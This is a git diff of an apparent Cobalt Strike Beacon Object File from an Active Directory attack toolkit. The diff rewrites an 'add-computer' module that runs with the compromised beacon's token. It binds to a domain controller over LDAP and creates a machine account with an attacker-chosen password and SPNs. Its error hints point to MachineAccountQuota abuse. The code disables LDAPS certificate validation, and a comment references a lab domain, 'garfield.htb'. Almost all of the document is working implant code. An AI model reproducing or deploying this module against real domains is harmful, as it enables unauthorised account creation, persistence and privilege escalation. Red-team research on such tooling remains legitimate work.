diff --git a/AD-BOF/LDAP-BOF/_include/ldap_common.h b/AD-BOF/LDAP-BOF/_include/ldap_common.h index bc3b098..180c0aa 100644 --- a/AD-BOF/LDAP-BOF/_include/ldap_common.h +++ b/AD-BOF/LDAP-BOF/_include/ldap_common.h @@ -74,6 +74,11 @@ typedef struct ldapmsg { BOOLEAN ConnectionReferenced; } LDAPMessage, *PLDAPMessage; +typedef struct l_timeval { + LONG tv_sec; + LONG tv_usec; +} LDAP_TIMEVAL; + // LDAP Constants #define LDAP_PORT 389 #define LDAP_SSL_PORT 636 @@ -242,4 +247,4 @@ LDAPControlA* BuildSDFlagsControl(DWORD sdFlags, char* buffer, struct berval* be char* WCharToChar(const wchar_t* wstr); wchar_t* CharToWChar(const char* str); -#endif // LDAP_COMMON_H \ No newline at end of file +#endif // LDAP_COMMON_H diff --git a/AD-BOF/LDAP-BOF/src/add/add-computer.c b/AD-BOF/LDAP-BOF/src/add/add-computer.c index aa43530..5d9308f 100644 --- a/AD-BOF/LDAP-BOF/src/add/add-computer.c +++ b/AD-BOF/LDAP-BOF/src/add/add-computer.c @@ -1,208 +1,364 @@ #include #include "beacon.h" -#include "ldap_common.c" -void go(char *args, int alen) { +// ── Minimal LDAP types ─────────────────────────────────────────────────────── + +typedef struct ldap { + struct { + UINT_PTR sb_sd; + UCHAR Reserved1[(10*sizeof(ULONG))+1]; + ULONG_PTR sb_naddr; + UCHAR Reserved2[(6*sizeof(ULONG))]; + } ld_sb; + PCHAR ld_host; + ULONG ld_version; + UCHAR ld_lberoptions; + ULONG ld_deref; + ULONG ld_timelimit; + ULONG ld_sizelimit; + ULONG ld_errno; + PCHAR ld_matched; + PCHAR ld_error; + ULONG ld_msgid; + UCHAR Reserved3[(6*sizeof(ULONG))+1]; + ULONG ld_cldaptries; + ULONG ld_cldaptimeout; + ULONG ld_refhoplimit; + ULONG ld_options; +} LDAP, *PLDAP; + +typedef struct berval { + ULONG bv_len; + PCHAR bv_val; +} BERVAL, *PBERVAL; + +typedef struct ldapmodA { + ULONG mod_op; + PCHAR mod_type; + union { + PCHAR *modv_strvals; + struct berval **modv_bvals; + } mod_vals; +} LDAPModA; + +typedef struct ldapmsg { + ULONG lm_msgid; + ULONG lm_msgtype; + PVOID lm_ber; + struct ldapmsg* lm_chain; + struct ldapmsg* lm_next; + ULONG lm_time; + LDAP* Connection; + PVOID Request; + ULONG lm_returncode; + USHORT lm_referral; + BOOLEAN lm_chased; + BOOLEAN lm_eom; + BOOLEAN ConnectionReferenced; +} LDAPMessage; + +// ── Constants ──────────────────────────────────────────────────────────────── +#define LDAP_PORT 389 +#define LDAP_SSL_PORT 636 +#define LDAP_VERSION3 3 +#define LDAP_SUCCESS 0x00 +#define LDAP_ALREADY_EXISTS 0x44 +#define LDAP_INSUFFICIENT_RIGHTS 0x32 +#define LDAP_UNWILLING_TO_PERFORM 0x35 +#define LDAP_NO_SUCH_OBJECT 0x20 +#define LDAP_CONSTRAINT_VIOLATION 0x13 +#define LDAP_INVALID_DN_SYNTAX 0x22 +#define LDAP_OPT_VERSION 0x11 +#define LDAP_OPT_SSL 0x0a +#define LDAP_OPT_SIGN 0x95 +#define LDAP_OPT_ENCRYPT 0x96 +#define LDAP_OPT_SERVER_CERTIFICATE 0x81 +#define LDAP_OPT_AREC_EXCLUSIVE 0x98 +#define LDAP_OPT_ON ((void*)1) +#define LDAP_MOD_ADD 0x00 +#define LDAP_MOD_BVALUES 0x80 +#define LDAP_AUTH_NEGOTIATE 0x0486 +#define LDAP_AUTH_KERBEROS 0x0800 + +// ── Imports ────────────────────────────────────────────────────────────────── +DECLSPEC_IMPORT LDAP* WLDAP32$ldap_init(PCHAR HostName, ULONG PortNumber); +DECLSPEC_IMPORT ULONG WLDAP32$ldap_set_option(LDAP* ld, int option, const void* invalue); +DECLSPEC_IMPORT ULONG WLDAP32$ldap_bind_s(LDAP* ld, const PCHAR dn, const PCHAR cred, ULONG method); +DECLSPEC_IMPORT ULONG WLDAP32$ldap_unbind_s(LDAP* ld); +DECLSPEC_IMPORT ULONG WLDAP32$ldap_add_s(LDAP* ld, const PCHAR dn, LDAPModA** attrs); +DECLSPEC_IMPORT PCHAR WLDAP32$ldap_err2stringA(ULONG err); +DECLSPEC_IMPORT ULONG WLDAP32$ldap_connect(LDAP* ld, struct l_timeval* timeout); + +DECLSPEC_IMPORT size_t __cdecl MSVCRT$strlen(const char* str); +DECLSPEC_IMPORT char* __cdecl MSVCRT$strcpy(char* dest, const char* src); +DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(char* buf, size_t count, const char* fmt, ...); +DECLSPEC_IMPORT void* __cdecl MSVCRT$malloc(size_t size); +DECLSPEC_IMPORT void __cdecl MSVCRT$free(void* ptr); +DECLSPEC_IMPORT void* __cdecl MSVCRT$memset(void* dest, int c, size_t n); + +typedef BOOLEAN (*VERIFYSERVERCERT)(PLDAP, PCCERT_CONTEXT); +BOOLEAN _cert_cb(PLDAP c, PCCERT_CONTEXT p) { return TRUE; } + +// ── Password encoder ───────────────────────────────────────────────────────── +BERVAL* _encode_password(const char* pw) { + if (!pw) return NULL; + size_t pwlen = MSVCRT$strlen(pw); + if (!pwlen) return NULL; + + ULONG wchars = (ULONG)(pwlen + 2); + ULONG nbytes = wchars * sizeof(wchar_t); + wchar_t* wbuf = (wchar_t*)MSVCRT$malloc(nbytes); + if (!wbuf) return NULL; + + wbuf[0] = L'"'; + for (size_t i = 0; i < pwlen; i++) wbuf[1 + i] = (wchar_t)(unsigned char)pw[i]; + wbuf[1 + pwlen] = L'"'; + + BERVAL* bv = (BERVAL*)MSVCRT$malloc(sizeof(BERVAL)); + if (!bv) { MSVCRT$free(wbuf); return NULL; } + bv->bv_len = nbytes; + bv->bv_val = (char*)wbuf; + return bv; +} + +// ── Build DC=x,DC=y from dc01.garfield.htb ────────────────────────────────── +char* _build_nc(const char* dc_fqdn) { + if (!dc_fqdn || !MSVCRT$strlen(dc_fqdn)) return NULL; + const char* p = dc_fqdn; + while (*p && *p != '.') p++; + if (!*p) return NULL; + p++; + + int dots = 0; + const char* q = p; + while (*q) { if (*q == '.') dots++; q++; } + + size_t domlen = MSVCRT$strlen(p); + char* nc = (char*)MSVCRT$malloc(domlen + (dots + 1) * 4 + 1); + if (!nc) return NULL; + + char* w = nc; + const char* r = p; + int first = 1; + while (*r) { + if (!first) *w++ = ','; + first = 0; + *w++ = 'D'; *w++ = 'C'; *w++ = '='; + while (*r && *r != '.') *w++ = *r++; + if (*r == '.') r++; + } + *w = '\0'; + return nc; +} + +// ── Extract dotted domain from DC FQDN (lowercased) ───────────────────────── +void _domain_from_fqdn(const char* dc_fqdn, char* out, size_t outsz) { + out[0] = '\0'; + if (!dc_fqdn || !MSVCRT$strlen(dc_fqdn)) return; + const char* p = dc_fqdn; + while (*p && *p != '.') p++; + if (!*p) return; + p++; + size_t i = 0; + while (*p && i < outsz - 1) { + char c = *p++; + if (c >= 'A' && c <= 'Z') c = c + 32; + out[i++] = c; + } + out[i] = '\0'; +} + +// ── Main ───────────────────────────────────────────────────────────────────── +void go(char* args, int alen) { datap parser; BeaconDataParse(&parser, args, alen); - - // Parse arguments: computername_or_dn, password, ou_path, dc_address, disabled, use_ldaps - char* computerIdentifier = ValidateInput(BeaconDataExtract(&parser, NULL)); - int isComputerDN = BeaconDataInt(&parser); - char* password = ValidateInput(BeaconDataExtract(&parser, NULL)); - char* ouPath = ValidateInput(BeaconDataExtract(&parser, NULL)); - char* dcAddress = ValidateInput(BeaconDataExtract(&parser, NULL)); - int disabled = BeaconDataInt(&parser); - int useLdaps = BeaconDataInt(&parser); - - if (!computerIdentifier || MSVCRT$strlen(computerIdentifier) == 0) { - BeaconPrintf(CALLBACK_ERROR, "[-] Computer name or DN is required"); - return; + + char* computerName = BeaconDataExtract(&parser, NULL); + int isDN = BeaconDataInt(&parser); + char* password = BeaconDataExtract(&parser, NULL); + char* ouPath = BeaconDataExtract(&parser, NULL); + char* dcFqdn = BeaconDataExtract(&parser, NULL); + int disabled = BeaconDataInt(&parser); + int useLdaps = BeaconDataInt(&parser); + + if (!computerName || !MSVCRT$strlen(computerName)) { + BeaconPrintf(CALLBACK_ERROR, "[-] Computer name required"); return; } - - // Force LDAPS if password is provided - BOOL requireLdaps = (password && MSVCRT$strlen(password) > 0) || useLdaps; - - // Initialize LDAP connection - char* dcHostname = NULL; - LDAP* ld = InitializeLDAPConnection(dcAddress, useLdaps, &dcHostname); - if (!ld) { - BeaconPrintf(CALLBACK_ERROR, "[-] Failed to initialize LDAP connection"); + if (!password || !MSVCRT$strlen(password)) { + BeaconPrintf(CALLBACK_ERROR, "[-] Password required (enabled computer accounts must have one)"); return; } - - // Get default naming context - will build from hostname if possible - char* defaultNC = GetDefaultNamingContext(ld, dcHostname); - if (!defaultNC) { - BeaconPrintf(CALLBACK_ERROR, "[-] Failed to get default naming context"); - if (dcHostname) MSVCRT$free(dcHostname); - CleanupLDAP(ld); - return; + if (!dcFqdn || !MSVCRT$strlen(dcFqdn)) { + BeaconPrintf(CALLBACK_ERROR, "[-] DC FQDN required"); return; } - - // Extract domain name from defaultNC for SPNs and dnsHostName - char domainName[256] = {0}; - char* dcPtr = defaultNC; - int domainPos = 0; - int firstDC = 1; - - while (*dcPtr && domainPos < 255) { - if (dcPtr[0] == 'D' && dcPtr[1] == 'C' && dcPtr[2] == '=') { - dcPtr += 3; - if (!firstDC) domainName[domainPos++] = '.'; - firstDC = 0; - while (*dcPtr && *dcPtr != ',' && domainPos < 255) { - char ch = *dcPtr; - if (ch >= 'A' && ch <= 'Z') ch += 32; // lowercase - domainName[domainPos++] = ch; - dcPtr++; + + BeaconPrintf(CALLBACK_OUTPUT, "[*] add-computer: using current beacon token"); + BeaconPrintf(CALLBACK_OUTPUT, "[*] Computer: %s | DC: %s", computerName, dcFqdn); + + // ── Connect: try LDAPS if asked, fall back to 389 SASL sign+seal ──────── + LDAP* ld = NULL; + int on_ldaps = 0; + + if (useLdaps) { + ld = WLDAP32$ldap_init((PCHAR)dcFqdn, LDAP_SSL_PORT); + if (ld) { + ULONG ver = LDAP_VERSION3; + WLDAP32$ldap_set_option(ld, LDAP_OPT_VERSION, &ver); + WLDAP32$ldap_set_option(ld, LDAP_OPT_AREC_EXCLUSIVE, LDAP_OPT_ON); + WLDAP32$ldap_set_option(ld, LDAP_OPT_SSL, LDAP_OPT_ON); + VERIFYSERVERCERT cb = _cert_cb; + WLDAP32$ldap_set_option(ld, LDAP_OPT_SERVER_CERTIFICATE, (void*)&cb); + + ULONG cr = WLDAP32$ldap_connect(ld, NULL); + if (cr == LDAP_SUCCESS) { + on_ldaps = 1; + BeaconPrintf(CALLBACK_OUTPUT, "[+] LDAPS connection established"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "[!] LDAPS failed (0x%x), falling back to 389", cr); + WLDAP32$ldap_unbind_s(ld); + ld = NULL; } - } else { - dcPtr++; } } - domainName[domainPos] = '\0'; - - // Build computer DN and extract computername - char computerDN[512]; - char computername[256]; - - if (isComputerDN) { - // Use provided DN directly - MSVCRT$_snprintf(computerDN, sizeof(computerDN), "%s", computerIdentifier); - - // Extract CN from DN for sAMAccountName - char* cnStart = MSVCRT$strstr(computerIdentifier, "CN="); - if (cnStart) { - cnStart += 3; // Skip "CN=" - char* cnEnd = MSVCRT$strstr(cnStart, ","); - if (cnEnd) { - int cnLen = cnEnd - cnStart; - if (cnLen > 0 && cnLen < 256) { - MSVCRT$memcpy(computername, cnStart, cnLen); - computername[cnLen] = '\0'; - } else { - MSVCRT$strcpy(computername, cnStart); - } - } else { - MSVCRT$strcpy(computername, cnStart); - } - } else { - // Fallback: use the entire identifier as computername - MSVCRT$strcpy(computername, computerIdentifier); + + if (!ld) { + ld = WLDAP32$ldap_init((PCHAR)dcFqdn, LDAP_PORT); + if (!ld) { BeaconPrintf(CALLBACK_ERROR, "[-] ldap_init failed"); return; } + + ULONG ver = LDAP_VERSION3; + WLDAP32$ldap_set_option(ld, LDAP_OPT_VERSION, &ver); + WLDAP32$ldap_set_option(ld, LDAP_OPT_AREC_EXCLUSIVE, LDAP_OPT_ON); + + // CRITICAL: ULONG*, not pointer-to-pointer + ULONG on_val = 1; + WLDAP32$ldap_set_option(ld, LDAP_OPT_SIGN, &on_val); + WLDAP32$ldap_set_option(ld, LDAP_OPT_ENCRYPT, &on_val); + + ULONG cr = WLDAP32$ldap_connect(ld, NULL); + if (cr != LDAP_SUCCESS) { + PCHAR es = WLDAP32$ldap_err2stringA(cr); + BeaconPrintf(CALLBACK_ERROR, "[-] ldap_connect failed (0x%x): %s", cr, es ? es : "?"); + WLDAP32$ldap_unbind_s(ld); return; } + BeaconPrintf(CALLBACK_OUTPUT, "[+] LDAP 389 established (SASL sign+seal)"); + } + + // ── Bind ──────────────────────────────────────────────────────────────── + ULONG rc = WLDAP32$ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_KERBEROS); + if (rc != LDAP_SUCCESS) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Kerberos bind failed (0x%x), trying NEGOTIATE...", rc); + rc = WLDAP32$ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE); + } + if (rc != LDAP_SUCCESS) { + PCHAR es = WLDAP32$ldap_err2stringA(rc); + BeaconPrintf(CALLBACK_ERROR, "[-] Bind failed (0x%x): %s", rc, es ? es : "?"); + WLDAP32$ldap_unbind_s(ld); return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] Bind OK (%s)", on_ldaps ? "LDAPS" : "SASL sign+seal"); + + // ── Build DN, sAMAccountName, dnsHostName, SPNs ───────────────────────── + char* defaultNC = _build_nc(dcFqdn); + if (!defaultNC) { + BeaconPrintf(CALLBACK_ERROR, "[-] Failed to derive defaultNamingContext"); + WLDAP32$ldap_unbind_s(ld); return; + } + + char domain[256]; + _domain_from_fqdn(dcFqdn, domain, sizeof(domain)); + + // Strip trailing $ from input if user typed "FAKE$" + char cn[128] = {0}; + size_t nlen = MSVCRT$strlen(computerName); + if (nlen > 0 && computerName[nlen-1] == '$') nlen--; + if (nlen >= sizeof(cn)) nlen = sizeof(cn) - 1; + MSVCRT$memset(cn, 0, sizeof(cn)); + for (size_t i = 0; i < nlen; i++) cn[i] = computerName[i]; + + char computerDN[512]; + if (isDN) { + MSVCRT$_snprintf(computerDN, sizeof(computerDN), "%s", computerName); + } else if (ouPath && MSVCRT$strlen(ouPath)) { + MSVCRT$_snprintf(computerDN, sizeof(computerDN), "CN=%s,%s", cn, ouPath); } else { - // Build DN using provided OU path or default Computers container - MSVCRT$strcpy(computername, computerIdentifier); - - if (ouPath && MSVCRT$strlen(ouPath) > 0) { - // Use provided OU path - MSVCRT$_snprintf(computerDN, sizeof(computerDN), "CN=%s,%s", computername, ouPath); - } else { - // Use default Computers container - MSVCRT$_snprintf(computerDN, sizeof(computerDN), "CN=%s,CN=Computers,%s", computername, defaultNC); - } + MSVCRT$_snprintf(computerDN, sizeof(computerDN), "CN=%s,CN=Computers,%s", cn, defaultNC); } - - // Build sAMAccountName (with $) - char samAccountName[256]; - MSVCRT$_snprintf(samAccountName, sizeof(samAccountName), "%s$", computername); - - // Build dnsHostName - char dnsHostName[512]; - MSVCRT$_snprintf(dnsHostName, sizeof(dnsHostName), "%s.%s", computername, domainName); - - // Build default SPNs - char spn1[256], spn2[256], spn3[256], spn4[256]; - MSVCRT$_snprintf(spn1, sizeof(spn1), "HOST/%s", computername); - MSVCRT$_snprintf(spn2, sizeof(spn2), "HOST/%s.%s", computername, domainName); - MSVCRT$_snprintf(spn3, sizeof(spn3), "RestrictedKrbHost/%s", computername); - MSVCRT$_snprintf(spn4, sizeof(spn4), "RestrictedKrbHost/%s.%s", computername, domainName); - - // Prepare attributes + + char sam[160]; MSVCRT$_snprintf(sam, sizeof(sam), "%s$", cn); + char dnsHost[320]; MSVCRT$_snprintf(dnsHost, sizeof(dnsHost), "%s.%s", cn, domain); + char spn1[256]; MSVCRT$_snprintf(spn1, sizeof(spn1), "HOST/%s", cn); + char spn2[320]; MSVCRT$_snprintf(spn2, sizeof(spn2), "HOST/%s", dnsHost); + char spn3[256]; MSVCRT$_snprintf(spn3, sizeof(spn3), "RestrictedKrbHost/%s", cn); + char spn4[320]; MSVCRT$_snprintf(spn4, sizeof(spn4), "RestrictedKrbHost/%s", dnsHost); + + BeaconPrintf(CALLBACK_OUTPUT, "[*] DN: %s", computerDN); + + // ── Build attribute list ──────────────────────────────────────────────── char* objectClass_values[] = { "top", "person", "organizationalPerson", "user", "computer", NULL }; - LDAPModA objectClass_mod = { LDAP_MOD_ADD, "objectClass", { .modv_strvals = objectClass_values } }; - - char* sam_values[] = { samAccountName, NULL }; - LDAPModA sam_mod = { LDAP_MOD_ADD, "sAMAccountName", { .modv_strvals = sam_values } }; - - char* dnsHostName_values[] = { dnsHostName, NULL }; - LDAPModA dnsHostName_mod = { LDAP_MOD_ADD, "dNSHostName", { .modv_strvals = dnsHostName_values } }; - - char* spn_values[] = { spn1, spn2, spn3, spn4, NULL }; - LDAPModA spn_mod = { LDAP_MOD_ADD, "servicePrincipalName", { .modv_strvals = spn_values } }; - - // userAccountControl: 4096 = WORKSTATION_TRUST_ACCOUNT (enabled) - // 4098 = WORKSTATION_TRUST_ACCOUNT | ACCOUNTDISABLE (disabled) - char* uac_values[] = { disabled ? "4098" : "4096", NULL }; - LDAPModA uac_mod = { LDAP_MOD_ADD, "userAccountControl", { .modv_strvals = uac_values } }; - - // Password attribute (if provided) - LDAPModA password_mod; - BERVAL* encodedPassword = NULL; - BERVAL* password_bervals[2] = { NULL, NULL }; - - if (password && MSVCRT$strlen(password) > 0) { - encodedPassword = EncodePassword(password); - if (encodedPassword) { - password_bervals[0] = encodedPassword; - password_mod.mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES; - password_mod.mod_type = "unicodePwd"; - password_mod.mod_vals.modv_bvals = password_bervals; - } else { - BeaconPrintf(CALLBACK_ERROR, "[!] Failed to encode password, continuing without password"); - } - } - - // Array of attribute modifications - LDAPModA* attrs[9]; - int attrCount = 0; - attrs[attrCount++] = &objectClass_mod; - attrs[attrCount++] = &sam_mod; - attrs[attrCount++] = &dnsHostName_mod; - attrs[attrCount++] = &spn_mod; - attrs[attrCount++] = &uac_mod; - if (encodedPassword) { - attrs[attrCount++] = &password_mod; + LDAPModA objectClass_mod = { LDAP_MOD_ADD, "objectClass", { .modv_strvals = objectClass_values } }; + + char* sam_values[] = { sam, NULL }; + LDAPModA sam_mod = { LDAP_MOD_ADD, "sAMAccountName", { .modv_strvals = sam_values } }; + + char* dns_values[] = { dnsHost, NULL }; + LDAPModA dns_mod = { LDAP_MOD_ADD, "dNSHostName", { .modv_strvals = dns_values } }; + + char* spn_values[] = { spn1, spn2, spn3, spn4, NULL }; + LDAPModA spn_mod = { LDAP_MOD_ADD, "servicePrincipalName", { .modv_strvals = spn_values } }; + + char* uac_values[] = { disabled ? "4098" : "4096", NULL }; + LDAPModA uac_mod = { LDAP_MOD_ADD, "userAccountControl", { .modv_strvals = uac_values } }; + + BERVAL* pw_bv = _encode_password(password); + if (!pw_bv) { + BeaconPrintf(CALLBACK_ERROR, "[-] Failed to encode password"); + MSVCRT$free(defaultNC); WLDAP32$ldap_unbind_s(ld); return; } - attrs[attrCount] = NULL; - - // Add computer - ULONG result = WLDAP32$ldap_add_s(ld, computerDN, attrs); - - if (result == LDAP_SUCCESS) { - BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully created computer '%s'", computername); - BeaconPrintf(CALLBACK_OUTPUT, "[+] DN: %s", computerDN); - BeaconPrintf(CALLBACK_OUTPUT, "[+] sAMAccountName: %s", samAccountName); - BeaconPrintf(CALLBACK_OUTPUT, "[+] dnsHostName: %s", dnsHostName); - BeaconPrintf(CALLBACK_OUTPUT, "[+] SPNs: HOST/%s, HOST/%s, RestrictedKrbHost/%s, RestrictedKrbHost/%s", - computername, dnsHostName, computername, dnsHostName); - if (encodedPassword) { - BeaconPrintf(CALLBACK_OUTPUT, "[+] Password: Set successfully"); - } - if (disabled) { - BeaconPrintf(CALLBACK_OUTPUT, "[+] Account Status: DISABLED"); - } + BERVAL* pw_vals[] = { pw_bv, NULL }; + LDAPModA pw_mod; + pw_mod.mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES; + pw_mod.mod_type = "unicodePwd"; + pw_mod.mod_vals.modv_bvals = pw_vals; + + BeaconPrintf(CALLBACK_OUTPUT, + "[*] Encoded unicodePwd: %lu bytes (UTF-16LE, quoted)", pw_bv->bv_len); + + LDAPModA* attrs[] = { + &objectClass_mod, &sam_mod, &dns_mod, &spn_mod, &uac_mod, &pw_mod, NULL + }; + + // ── Add ───────────────────────────────────────────────────────────────── + rc = WLDAP32$ldap_add_s(ld, computerDN, attrs); + + if (rc == LDAP_SUCCESS) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Computer created: %s", computerDN); + BeaconPrintf(CALLBACK_OUTPUT, "[+] sAMAccountName: %s", sam); + BeaconPrintf(CALLBACK_OUTPUT, "[+] dNSHostName: %s", dnsHost); + BeaconPrintf(CALLBACK_OUTPUT, "[+] UAC: %s", disabled ? "4098 (disabled)" : "4096 (enabled)"); } else { - BeaconPrintf(CALLBACK_ERROR, "[-] Failed to create computer"); - PrintLdapError("Add computer", result); - if (result == LDAP_ALREADY_EXISTS) { - BeaconPrintf(CALLBACK_ERROR, "[!] Computer already exists"); - } else if (result == LDAP_INSUFFICIENT_RIGHTS) { - BeaconPrintf(CALLBACK_ERROR, "[!] Insufficient permissions"); - } else if (result == LDAP_INVALID_DN_SYNTAX) { - BeaconPrintf(CALLBACK_ERROR, "[!] Invalid DN syntax"); - } else if (result == LDAP_NO_SUCH_OBJECT) { - BeaconPrintf(CALLBACK_ERROR, "[!] Target OU does not exist"); + PCHAR es = WLDAP32$ldap_err2stringA(rc); + BeaconPrintf(CALLBACK_ERROR, "[-] ldap_add_s failed (0x%x): %s", rc, es ? es : "?"); + switch (rc) { + case LDAP_ALREADY_EXISTS: + BeaconPrintf(CALLBACK_ERROR, "[!] Computer already exists"); break; + case LDAP_INSUFFICIENT_RIGHTS: + BeaconPrintf(CALLBACK_ERROR, + "[!] Insufficient rights — MachineAccountQuota hit, or no Create Child on container"); break; + case LDAP_UNWILLING_TO_PERFORM: + BeaconPrintf(CALLBACK_ERROR, + "[!] Channel likely not sealed, or missing required attribute"); break; + case LDAP_CONSTRAINT_VIOLATION: + BeaconPrintf(CALLBACK_ERROR, + "[!] Password policy rejected password, or UAC/attribute constraint"); break; + case LDAP_NO_SUCH_OBJECT: + BeaconPrintf(CALLBACK_ERROR, "[!] Target OU does not exist"); break; + case LDAP_INVALID_DN_SYNTAX: + BeaconPrintf(CALLBACK_ERROR, "[!] Invalid DN syntax"); break; } } - - // Cleanup - if (encodedPassword) { - MSVCRT$free(encodedPassword->bv_val); - MSVCRT$free(encodedPassword); - } + + MSVCRT$memset(pw_bv->bv_val, 0, pw_bv->bv_len); + MSVCRT$free(pw_bv->bv_val); + MSVCRT$free(pw_bv); MSVCRT$free(defaultNC); - MSVCRT$free(dcHostname); - CleanupLDAP(ld); -} \ No newline at end of file + WLDAP32$ldap_unbind_s(ld); +}